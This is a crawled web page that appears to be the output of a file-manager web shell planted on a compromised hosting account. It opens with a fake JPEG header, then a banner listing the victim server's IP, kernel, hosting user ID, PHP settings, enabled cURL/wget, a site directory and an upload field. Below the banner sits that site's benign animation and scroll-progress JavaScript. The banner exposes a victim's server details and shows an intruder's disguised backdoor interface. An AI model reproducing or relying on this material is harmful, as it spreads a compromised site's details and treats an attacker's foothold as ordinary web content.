���� JFIF fdasasfas213sdaf
Server IP : 88.222.243.201 / Your IP : 216.73.216.200 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u479334040/domains/dekureinstruments.co.in/public_html/assets/js/ |
Upload File : |
//AOS Anomation AOS.init(); // Curser Pointer let cursor = document.querySelector(".cursor"); let cursor2 = document.querySelector(".cursor2"); let cursorScale = document.querySelectorAll(".cursor-scale"); let mouseX = 0; let mouseY = 0; gsap.to({}, 0.016, { repeat: -1, onRepeat: function () { gsap.set(cursor, { css: { left: mouseX, top: mouseY, }, }); gsap.set(cursor2, { css: { left: mouseX, top: mouseY, }, }); }, }); // Mouse Pointer window.addEventListener("mousemove", (e) => { mouseX = e.clientX; mouseY = e.clientY; }); cursorScale.forEach((link) => { link.addEventListener("mousemove", () => { cursor.classList.add("grow"); if (link.classList.contains("small")) { cursor.classList.remove("grow"); cursor.classList.add("grow-small"); } }); link.addEventListener("mouseleave", () => { cursor.classList.remove("grow"); cursor.classList.remove("grow-small"); }); }); // scroll up let scrollPercentage = () => { let scrollProgress = document.getElementById("progress"); let progressValue = document.getElementById("progress-value"); let pos = document.documentElement.scrollTop; let calcHeight = document.documentElement.scrollHeight - document.documentElement.clientHeight; let scrollValue = Math.round((pos * 100) / calcHeight); scrollProgress.style.background = `conic-gradient(#01ADEF ${scrollValue}%, #c0c0ff ${scrollValue}%)`; progressValue.textContent = `${scrollValue}%`; if (pos > 20) { scrollProgress.classList.remove("hide"); scrollProgress.classList.add("show"); } else { scrollProgress.classList.remove("show"); scrollProgress.classList.add("hide"); } scrollProgress.addEventListener("click", () => { window.scrollTo({ top: 0, behavior: "smooth" }); }); }; window.onscroll = scrollPercentage; window.onload = scrollPercentage;